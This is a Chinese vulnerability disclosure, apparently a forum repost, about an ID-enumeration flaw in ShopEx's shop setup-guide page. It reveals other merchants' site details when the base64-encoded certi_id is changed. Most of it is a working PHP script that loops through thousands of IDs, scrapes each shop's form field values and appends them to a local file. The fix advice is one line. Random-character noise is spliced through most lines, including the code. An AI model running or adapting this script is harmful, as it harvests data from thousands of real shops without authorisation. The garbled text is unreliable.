ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
$ _# [: b0 Y. B  C( VShopEx某接口缺陷,可遍历所有网站
5 R* ~3 @. _3 s5 M! g详细说明：
+ q" a9 x$ M, ?" {问题出现在shopex 网店使用向导页面


0 C3 I; y/ `& `
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

; O( @- @( }+ z. n

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
  Z7 R4 P2 C; j
  P7 Y) h% |8 z& I' o2 c- q1 }

2 W& R; Y' k* Q$ N9 {; V  L我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
5 J2 Q& w/ ^. j8 R


<?php
! t" s& b/ X8 M6 X" z
                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
- @* J) p3 V1 ]3 C; P  M
                }
5 t0 c. G& X1 ]! h
                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';

: X- y, D" r- z' j                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
( {% e% t# ?/ d9 ~  x
% h! z/ J) p7 B6 W! n+ u9 d        $ch = curl_init($url);
+ `9 k$ O* z- G9 s/ }3 l
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
9 N9 L, B' m0 `3 Y2 t$ y
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
  f% s6 V  m7 w% {  L" B8 Y8 C) d
8 J; j" \  A& P  m5 X/ O' A5 m        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))
# U. _" f; ?: ?8 ~  {* G5 \5 K
        {
8 o* j7 y5 v2 T( p4 b, r
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
- Z& \) S1 D" U+ g6 \
( w* C- a0 I4 B: b) o- q                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
6 s( M2 ^) R$ \4 D# E
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";
3 ^8 }/ w; a/ m& G# v& g8 I  \& e
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
6 s; E3 P( U8 b, S: v8 m5 b2 M) G
; J7 v7 l+ y# P: H! l                        fwrite($fp, $col, strlen($col));
- h7 C& l9 ]8 J. J* O
                }

3 _) F  e5 B% Y% g5 S; C                echo '--------------------------------'."\r\n";

                fclose($fp);

( X  W+ ~& X! {, C. o! D1 x* f        }

        flush();
) c' ?. b- a" I, O+ o
' p* V1 K8 Y. B        curl_close($ch);

, j; u. a% Z/ J0 f9 m% i8 t7 C                }
4 y8 I7 @# A' G" J& d( p8 k+ G
8 x; G  d  z" |, l?>
漏洞证明：
' {. B. X  A2 {& B/ H# p1 }http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
6 S% L  s8 w; v$ |. Wrefer换成其他加密方式
5 j$ h9 c* _. p